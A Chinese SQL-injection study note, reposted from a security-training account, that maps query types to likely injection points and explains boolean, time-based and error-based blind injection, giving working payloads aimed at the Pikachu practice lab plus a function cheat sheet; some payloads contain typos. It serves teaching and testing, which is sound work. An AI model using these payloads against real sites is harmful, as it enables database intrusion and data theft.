网安教育
培养网络安全人才
技术交流、学习咨询
当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL语句大概写法也能更好地选择对应的注入语句。
select 查询数据
在网站应用中进行数据显示查询效果
1例: select * from news wher id=$id
insert 插入数据
在网站应用中进行用户注册添加等操作
1例:insert into news(id,url,text) values(2,'x','$t')
delete 删除数据
后台管理里面删除文章删除用户等操作
1例:delete from news where id=$id
update 更新数据
会员或后台中心数据同步或缓存等操作
1例:update user set pwd='$p' where id=2 and username='admin'
order by 排列数据
一般结合表名或列名进行数据排序操作
1例:select * from news order by $id
2例:select id,name,price from news order by $order
重点理解:
我们可以通过以上查询方式与网站应用的关系去猜测注入点产生地方或应用猜测到对方的SQL查询方式。
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行半段或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:
基于布尔的SQL盲注-逻辑判断(不需要回显信息就能看到)(2)
1regexp,like,ascii,left,ord,mid
基于时间的SQL盲注-延时判断(不需要回显信息就能看到)(3)
1if,sleep
基于报错的SQL盲注-报错回显(优先于选择:1)
floor
payload:
pikachu insert
1username=x' or(select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '
2
3&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
4
updatexml
1username=x ' or updatexml(1,concat(0x7e,(version())),0) or ' &password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
extractvalue
1username=x ' or extractvalue(1,concat(0x7e,database())),0) or ' &password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
pikachu updata
1sex=%E7%94%B7&phonenum=13878787788&and=hubeNicky' or (select 1 from(select count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '&email=wuhan&submit=submit
2
1sex=%E7%94%B7&phonenum=13878787788&and=hubeNicky' or updataexml(1,concat(0x7e,(version())),0) or '&email=wuhan&submit=submit
1sex=%E7%94%B7&phonenum=13878787788&and=hubeNicky' or extractbalue(1,concat(0x7e,database())) or '&email=wuhan&submit=submit
pikachu delete
1/pikachu/vul/sqli/sqli_del.php?id=56+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)
1/pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)
1/pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue+(1,concat(0x7e,database()))
延迟盲注:
1and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
1and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)--+
判断数据库名
判断数据库长度
猜取数据库第一个字符
limit 0,1(0,从0开始第一个。1,字符串选取的个数)
布尔盲注
猜取版本号
猜取数据库名
排序盲注
参考:
1like 'ro%' #判断ro或ro...是否成立
2regexp '^xiaodi[1-z]' #匹配xiaodi及xiaodi...等
3if(条件,5,0) #条件成立,返回5,反之,返回0
4sleep(5) #SQL语句延时执行5秒
5mid(a,b,c) #从位置b开始,截取a字符串的c位
6substr(a,b,c) #从B位置开始,截取字符串a的c长度
7left(database(),1),database() #left(a,b)从左侧截取a的前b位
8length(database())=8 #判断数据库database()名的长度
9ord=ascii ascii(x)=97 #判断x的ascii码是否等于97
原文链接:https://www.yuque.com/gemaxianrenhm/hahwdw/eiux1t
版权声明:著作权归作者所有。如有侵权请联系删除
战疫期间,开源聚合网络安全基础班、实战班线上全面开启,学网络安全技术、升职加薪……有兴趣的可以加入开源聚合网安大家庭,一起学习、一起成长,考证书求职加分、升级加薪,有兴趣的可以咨询客服小姐姐哦!
加QQ(1005989737)找小姐姐私聊哦
本文始发于微信公众号(开源聚合网络空间安全研究院):【安全笔记】WBE漏洞之SQL注入专题
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论